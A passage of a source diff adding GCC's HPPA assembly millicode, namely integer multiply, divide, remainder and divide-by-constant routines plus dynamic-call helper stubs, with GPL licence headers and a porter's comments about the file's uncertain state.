+	shd	%r25,%r1,16,%r1
+	addc	%r1,%r25,%r1
+;! r in r1,,r29
+	sh1add	%r29,%r26,%r0		;!  r0 = lo(10 x r) + dividend
+	shd	%r1,%r29,31,%r29	;! r29 = hi(10 x r)
+	addc	%r29,%r0,%r29
+	bv	%r0(ret)
+	extru	%r29,28,29,result
+	.exit
+	.procend
+#endif
+
+
+#ifdef L_divU_3
+	.text
+	.align	4
+	.export	$$divU_3
+$$divU_3:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		3,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_5
+	.text
+	.align	4
+	.export	$$divU_5
+$$divU_5:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		5,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_6
+	.text
+	.align	4
+	.export	$$divU_6
+$$divU_6:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		6,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_7
+	.text
+	.align	4
+	.export	$$divU_7
+$$divU_7:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		7,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_9
+	.text
+	.align	4
+	.export	$$divU_9
+$$divU_9:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		9,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_10
+	.text
+	.align	4
+	.export	$$divU_10
+$$divU_10:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		10,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_12
+	.text
+	.align	4
+	.export	$$divU_12
+$$divU_12:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		12,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_14
+	.text
+	.align	4
+	.export	$$divU_14
+$$divU_14:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		14,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_15
+	.text
+	.align	4
+	.export	$$divU_15
+$$divU_15:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		15,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divI_3
+	.text
+	.align	4
+	.export	$$divI_3
+$$divI_3:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		3,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_5
+	.text
+	.align	4
+	.export	$$divI_5
+$$divI_5:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		5,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_6
+	.text
+	.align	4
+	.export	$$divI_6
+$$divI_6:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		6,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_7
+	.text
+	.align	4
+	.export	$$divI_7
+$$divI_7:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		7,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_9
+	.text
+	.align	4
+	.export	$$divI_9
+$$divI_9:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		9,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_10
+	.text
+	.align	4
+	.export	$$divI_10
+$$divI_10:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		10,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_12
+	.text
+	.align	4
+	.export	$$divI_12
+$$divI_12:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		12,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_14
+	.text
+	.align	4
+	.export	$$divI_14
+$$divI_14:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		14,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_15
+	.text
+	.align	4
+	.export	$$divI_15
+$$divI_15:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		15,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
diff --exclude=CVS --exclude=configure -urN gcc-sourceware/gcc/config/pa/lib2funcs-elf.S gcc-puffin/gcc/config/pa/lib2funcs-elf.S
--- gcc-sourceware/gcc/config/pa/lib2funcs-elf.S	Wed Dec 31 19:00:00 1969
+++ gcc-puffin/gcc/config/pa/lib2funcs-elf.S	Thu Jul  6 18:05:26 2000
@@ -0,0 +1,1221 @@
+;!  Subroutines for calling unbound dynamic functions from within GDB for HPPA.
+;!  Subroutines for out of line prologues and epilogues on for the HPPA
+;!  Copyright (C) 1994, 1995, 1996 Free Software Foundation, Inc.
+
+;!  This file is part of GNU CC.
+
+;!  GNU CC is free software; you can redistribute it and/or modify
+;!  it under the terms of the GNU General Public License as published by
+;!  the Free Software Foundation; either version 2, or (at your option)
+;!  any later version.
+
+;!  GNU CC is distributed in the hope that it will be useful,
+;!  but WITHOUT ANY WARRANTY; without even the implied warranty of
+;!  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+;!  GNU General Public License for more details.
+
+;! In addition to the permissions in the GNU General Public License, the
+;! Free Software Foundation gives you unlimited permission to link the
+;! compiled version of this file with other programs, and to distribute
+;! those programs without any restriction coming from the use of this
+;! file.  (The General Public License restrictions do apply in other
+;! respects; for example, they cover modification of the file, and
+;! distribution when not linked into another program.)
+
+;!  You should have received a copy of the GNU General Public License
+;!  along with GNU CC; see the file COPYING.  If not, write to
+;!  the Free Software Foundation, 59 Temple Place - Suite 330,
+;!  Boston, MA 02111-1307, USA.
+
+;! gcc_compiled.:
+	.text
+
+;! Simply call with the address of the desired import stub in %r22 and
+;! arguments in the normal place (%r26-%r23 and stack slots).
+;!
+	.align 4
+	.EXPORT __gcc_plt_call,ENTRY,PRIV_LEV=3,RTNVAL=GR
+__gcc_plt_call:
+	.PROC
+	.CALLINFO
+	.ENTRY
+	;! Our return address comes in %r31, not %r2!
+	stw %r31,-8(%r30)
+
+	;! An inline version of dyncall so we do not have to worry
+	;! about long calls to millicode, PIC and other complexities.
+	bb,>=,n %r22,30,L$foo
+        depi 0,31,2,%r22
+        ldw 4(%r22),%r19
+        ldw 0(%r22),%r22
+L$foo:
+        ldsid (%r22),%r1
+        mtsp %r1,%sr0
+        ble 0(%sr0,%r22)
+	copy %r31,%r2
+	ldw -8(%r30),%r2
+
+	;! We are going to be returning to a stack address, so we
+	;! need to do an intra-space return.
+	ldsid (%rp),%r1
+	mtsp %r1,%sr0
+	be,n 0(%sr0,%rp)
+	.EXIT
+	.PROCEND
+;!  Low level integer divide, multiply, remainder, etc routines for the HPPA.
+;!  Copyright (C) 1995 Free Software Foundation, Inc.
+
+;!  This file is part of GNU CC.
+
+;!  GNU CC is free software; you can redistribute it and/or modify
+;!  it under the terms of the GNU General Public License as published by
+;!  the Free Software Foundation; either version 2, or (at your option)
+;!  any later version.
+
+;! In addition to the permissions in the GNU General Public License, the
+;! Free Software Foundation gives you unlimited permission to link the
+;! compiled version of this file with other programs, and to distribute
+;! those programs without any restriction coming from the use of this
+;! file.  (The General Public License restrictions do apply in other
+;! respects; for example, they cover modification of the file, and
+;! distribution when not linked into another program.)
+
+;!  GNU CC is distributed in the hope that it will be useful,
+;!  but WITHOUT ANY WARRANTY; without even the implied warranty of
+;!  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+;!  GNU General Public License for more details.
+
+;!  You should have received a copy of the GNU General Public License
+;!  along with GNU CC; see the file COPYING.  If not, write to
+;!  the Free Software Foundation, 59 Temple Place - Suite 330,
+;!  Boston, MA 02111-1307, USA.
+
+/* I don't know why these routines are #ifdef-ed, but this'll probably work */
+/* -PB */
+/* I have little confidence in this millicode file -- it was missing */
+/* sh_func_adrs... */
+#define L_dyncall
+#undef L_multiply
+#undef L_divU
+#undef L_remU
+#undef L_divI
+#undef L_remI
+#define L_divU_3
+#define L_divU_5
+#define L_divU_6
+#define L_divU_7
+#define L_divU_9
+#define L_divU_10
+#define L_divU_12
+#define L_divU_14
+#define L_divU_15
+#define L_divI_3
+#define L_divI_5
+#define L_divI_6
+#define L_divI_7
+#define L_divI_9
+#define L_divI_10
+#define L_divI_12
+#define L_divI_14
+#define L_divI_15
+
+#ifdef L_dyncall
+	.text
+	.export	$$dyncall
+$$dyncall:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	bb,>=,n	%r22,30,L$1		;! branch if not plabel address
+	depi	0,31,2,%r22		;! clear the two least significant bits
+	ldw	4(%sr0,%r22),%r19	;! load new LTP value
+	ldw	0(%sr0,%r22),%r22	;! load address of target
+L$1:	ldsid	(%sr0,%r22),%r1		;! get the "space ident" selected by r22
+	mtsp	%r1,%sr0		;! move that space identifier into sr0
+	be	0(%sr0,%r22)		;! branch to the real target
+	stw	%r2,-24(%sr0,%r30)	;! save return address into frame marker
+	.exit
+	.procend
+#endif
+
+
+#ifdef L_multiply
+#define	op0	%r26
+#define	op1	%r25
+#define res	%r29
+#define ret	%r31
+#define tmp	%r1
+	.text
+	.align 4
+	.export	$$mulU
+	.export	$$mulI
+$$mulU:
+$$mulI:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	addi,tr		0,%r0,res	;! clear out res, skip next insn
+L$loop:	zdep		op1,26,27,op1	;! shift up op1 by 5
+L$lo:	zdep		op0,30,5,tmp	;! extract next 5 bits and shift up
+	blr		tmp,%r0
+	extru		op0,26,27,op0	;! shift down op0 by 5
+L$0:	comib,<>	0,op0,L$lo
+	zdep		op1,26,27,op1	;! shift up op1 by 5
+	bv		%r0(ret)
+	nop
+L$1_2:	b		L$loop
+	addl		op1,res,res
+	nop
+	nop
+L$2:	b		L$loop
+	sh1addl		op1,res,res
+	nop
+	nop
+L$3:	sh1addl		op1,op1,tmp	;! 3x
+	b		L$loop
+	addl		tmp,res,res
+	nop
+L$4:	b		L$loop
+	sh2addl		op1,res,res
+	nop
+	nop
+L$5:	sh2addl		op1,op1,tmp	;! 5x
+	b		L$loop
+	addl		tmp,res,res
+	nop
+L$6:	sh1addl		op1,op1,tmp	;! 3x
+	b		L$loop
+	sh1addl		tmp,res,res
+	nop
+L$7:	zdep		op1,28,29,tmp	;! 8x
+	sub		tmp,op1,tmp	;! 7x
+	b		L$loop
+	addl		tmp,res,res
+L$8:	b		L$loop
+	sh3addl		op1,res,res
+	nop
+	nop
+L$9:	sh3addl		op1,op1,tmp	;! 9x
+	b		L$loop
+	addl		tmp,res,res
+	nop
+L$10:	sh2addl		op1,op1,tmp	;! 5x
+	b		L$loop
+	sh1addl		tmp,res,res
+	nop
+L$11:	sh2addl		op1,op1,tmp	;! 5x
+	sh1addl		tmp,op1,tmp	;! 11x
+	b		L$loop
+	addl		tmp,res,res
+L$12:	sh1addl		op1,op1,tmp	;! 3x
+	b		L$loop
+	sh2addl		tmp,res,res
+	nop
+L$13:	sh1addl		op1,op1,tmp	;! 3x
+	sh2addl		tmp,op1,tmp	;! 13x
+	b		L$loop
+	addl		tmp,res,res
+L$14:	zdep		op1,28,29,tmp	;! 8x
+	sub		tmp,op1,tmp	;! 7x
+	b		L$loop
+	sh1addl		tmp,res,res
+L$15:	zdep		op1,27,28,tmp	;! 16x
+	sub		tmp,op1,tmp	;! 15x
+	b		L$loop
+	addl		tmp,res,res
+L$16:	zdep		op1,27,28,tmp	;! 16x
+	b		L$loop
+	addl		tmp,res,res
+	nop
+L$17:	zdep		op1,27,28,tmp	;! 16x
+	addl		tmp,op1,tmp	;! 17x
+	b		L$loop
+	addl		tmp,res,res
+L$18:	sh3addl		op1,op1,tmp	;! 9x
+	b		L$loop
+	sh1addl		tmp,res,res
+	nop
+L$19:	sh3addl		op1,op1,tmp	;! 9x
+	sh1addl		tmp,op1,tmp	;! 19x
+	b		L$loop
+	addl		tmp,res,res
+L$20:	sh2addl		op1,op1,tmp	;! 5x
+	b		L$loop
+	sh2addl		tmp,res,res
+	nop
+L$21:	sh2addl		op1,op1,tmp	;! 5x
+	sh2addl		tmp,op1,tmp	;! 21x
+	b		L$loop
+	addl		tmp,res,res
+L$22:	sh2addl		op1,op1,tmp	;! 5x
+	sh1addl		tmp,op1,tmp	;! 11x
+	b		L$loop
+	sh1addl		tmp,res,res
+L$23:	sh1addl		op1,op1,tmp	;! 3x
+	sh3addl		tmp,res,res	;! += 8x3
+	b		L$loop
+	sub		res,op1,res	;! -= x
+L$24:	sh1addl		op1,op1,tmp	;! 3x
+	b		L$loop
+	sh3addl		tmp,res,res	;! += 8x3
+	nop
+L$25:	sh2addl		op1,op1,tmp	;! 5x
+	sh2addl		tmp,tmp,tmp	;! 25x
+	b		L$loop
+	addl		tmp,res,res
+L$26:	sh1addl		op1,op1,tmp	;! 3x
+	sh2addl		tmp,op1,tmp	;! 13x
+	b		L$loop
+	sh1addl		tmp,res,res	;! += 2x13
+L$27:	sh1addl		op1,op1,tmp	;! 3x
+	sh3addl		tmp,tmp,tmp	;! 27x
+	b		L$loop
+	addl		tmp,res,res
+L$28:	zdep		op1,28,29,tmp	;! 8x
+	sub		tmp,op1,tmp	;! 7x
+	b		L$loop
+	sh2addl		tmp,res,res	;! += 4x7
+L$29:	sh1addl		op1,op1,tmp	;! 3x
+	sub		res,tmp,res	;! -= 3x
+	b		L$foo2
+	zdep		op1,26,27,tmp	;! 32x
+L$30:	zdep		op1,27,28,tmp	;! 16x
+	sub		tmp,op1,tmp	;! 15x
+	b		L$loop
+	sh1addl		tmp,res,res	;! += 2x15
+L$31:	zdep		op1,26,27,tmp	;! 32x
+	sub		tmp,op1,tmp	;! 31x
+L$foo2:	b		L$loop
+	addl		tmp,res,res
+	.exit
+	.procend
+#endif
+
+
+#ifdef L_divU
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define quotient %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU
+$$divU:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	comb,<		divisor,0,L$largedivisor
+	 sub		%r0,divisor,%r1		;! clear cy as side-effect
+	ds		%r0,%r1,%r0
+	addc		dividend,dividend,dividend
+	ds		%r0,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,quotient
+	ds		%r1,divisor,%r1
+	bv		%r0(ret)
+	addc		quotient,quotient,quotient
+L$largedivisor:
+	comclr,<<	dividend,divisor,quotient
+	ldi		1,quotient
+	bv,n		%r0(ret)
+	.exit
+	.procend
+#endif
+
+
+#ifdef L_remU
+#define dividend %r26
+#define divisor %r25
+#define quotient %r29
+#define tmp %r1
+#define ret %r31
+	.text
+	.align 4
+	.export	$$remU
+$$remU:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	comb,<		divisor,0,L$largedivisor2
+	 sub		%r0,divisor,%r1		;! clear cy as side-effect
+	ds		%r0,%r1,%r0
+	addc		dividend,dividend,dividend
+	ds		%r0,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,quotient
+	ds		%r1,divisor,%r1
+	comclr,>=	%r1,%r0,%r0
+	addl		%r1,divisor,%r1
+	bv		%r0(ret)
+	copy		%r1,quotient
+L$largedivisor2:
+	sub,>>=		dividend,divisor,quotient
+	copy		dividend,quotient
+	bv,n		%r0(ret)
+	.exit
+	.procend
+#endif
+
+
+#ifdef L_divI
+#define dividend %r26
+#define divisor %r25
+#define quotient %r29
+#define tmp %r1
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divI
+$$divI:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	xor		dividend,divisor,quotient	;! result sign
+	comclr,>=	divisor,%r0,%r0			;! get absolute values
+	sub		%r0,divisor,divisor
+	comclr,>=	dividend,%r0,%r0
+	sub		%r0,dividend,dividend
+
+	comb,<		divisor,0,L$largedivisor3
+	 sub		%r0,divisor,%r1		;! clear cy as side-effect
+	ds		%r0,%r1,%r0
+	addc		dividend,dividend,dividend
+	ds		%r0,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	comclr,>=	%r1,%r0,%r0
+	addl		%r1,divisor,%r1
+	comclr,>=	quotient,%r0,%r0	;! skip of no need to negate
+	sub		%r0,dividend,dividend
+	bv		%r0(ret)
+	copy		dividend,quotient
+L$largedivisor3:
+	comclr,<<	dividend,divisor,quotient
+	ldi		1,quotient
+	bv,n		%r0(ret)
+	.exit
+	.procend
+#endif
+
+
+#ifdef L_remI
+#define dividend %r26
+#define divisor %r25
+#define quotient %r29
+#define tmp %r1
+#define ret %r31
+	.text
+	.align 4
+	.export	$$remI
+$$remI:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	xor		dividend,%r0,quotient		;! result sign
+	comclr,>=	divisor,%r0,%r0			;! get absolute values
+	sub		%r0,divisor,divisor
+	comclr,>=	dividend,%r0,%r0
+	sub		%r0,dividend,dividend
+
+	comb,<		divisor,0,L$largedivisor4
+	 sub		%r0,divisor,%r1		;! clear cy as side-effect
+	ds		%r0,%r1,%r0
+	addc		dividend,dividend,dividend
+	ds		%r0,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	comclr,>=	%r1,%r0,%r0
+	addl		%r1,divisor,%r1
+	comclr,>=	quotient,%r0,%r0	;! skip of no need to negate
+	sub		%r0,%r1,%r1
+	bv		%r0(ret)
+	copy		%r1,quotient
+L$largedivisor4:
+	sub,>>=		dividend,divisor,quotient
+	copy		dividend,quotient
+	bv,n		%r0(ret)
+	.exit
+	.procend
+#endif
+
+
+#if defined (L_divU_3) && !defined (SMALL_LIB)
+#undef L_divU_3
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define result %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU_3
+$$divU_3:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	sh2add	%r26,%r26,%r29		;! r29 = lo(101 x r)
+	shd	%r0,%r26,30,%r1		;!  r1 = hi(100 x r)
+	addc	%r1,%r0,%r1		;!  r1 = hi(101 x r)
+;! r in r1,,r29
+	zdep	%r29,27,28,%r25		;! r25 = lo(10000 x r)
+	add	%r25,%r29,%r25		;! r25 = lo(10001 x r)
+	shd	%r1,%r29,28,%r29	;! r29 = hi(10000 x r)
+	addc	%r29,%r1,%r29		;! r29 = hi(10001 x r)
+;! r in r29,,r25
+	zdep	%r25,23,24,%r1		;!  r1 = lo(100000000 x r)
+	add	%r1,%r25,%r1		;!  r1 = lo(100000001 x r)
+	shd	%r29,%r25,24,%r25	;! r25 = hi(100000000 x r)
+	addc	%r25,%r29,%r25		;! r25 = hi(100000001 x r)
+;! r in r25,,r1
+	zdep	%r1,15,16,%r29
+	add	%r29,%r1,%r29
+	shd	%r25,%r1,16,%r1
+	addc	%r1,%r25,%r1
+;! r in r1,,r29
+	sh1add	%r29,%r26,%r0		;!  r0 = lo(10 x r) + dividend
+	shd	%r1,%r29,31,%r29	;! r29 = hi(10 x r)
+	addc	%r29,%r0,%r29
+	bv	%r0(ret)
+	extru	%r29,30,31,result
+	.exit
+	.procend
+#endif
+
+
+#if defined (L_divU_5) && !defined (SMALL_LIB)
+#undef L_divU_5
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define result %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU_5
+$$divU_5:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	sh1add	%r26,%r26,%r29		;! r29 = lo(11 x r)
+	shd	%r0,%r26,31,%r1		;!  r1 = hi(10 x r)
+	addc	%r1,%r0,%r1		;!  r1 = hi(11 x r)
+;! r in r1,,r29
+	zdep	%r29,27,28,%r25		;! r25 = lo(10000 x r)
+	add	%r25,%r29,%r25		;! r25 = lo(10001 x r)
+	shd	%r1,%r29,28,%r29	;! r29 = hi(10000 x r)
+	addc	%r29,%r1,%r29		;! r29 = hi(10001 x r)
+;! r in r29,,r25
+	zdep	%r25,23,24,%r1		;!  r1 = lo(100000000 x r)
+	add	%r1,%r25,%r1		;!  r1 = lo(100000001 x r)
+	shd	%r29,%r25,24,%r25	;! r25 = hi(100000000 x r)
+	addc	%r25,%r29,%r25		;! r25 = hi(100000001 x r)
+;! r in r25,,r1
+	zdep	%r1,15,16,%r29
+	add	%r29,%r1,%r29
+	shd	%r25,%r1,16,%r1
+	addc	%r1,%r25,%r1
+;! r in r1,,r29
+	sh2add	%r29,%r26,%r0		;!  r0 = lo(1000 x r) + dividend
+	shd	%r1,%r29,30,%r29	;! r29 = hi(1000 x r)
+	addc	%r29,%r0,%r29
+	bv	%r0(ret)
+	extru	%r29,29,30,result
+	.exit
+	.procend
+#endif
+
+
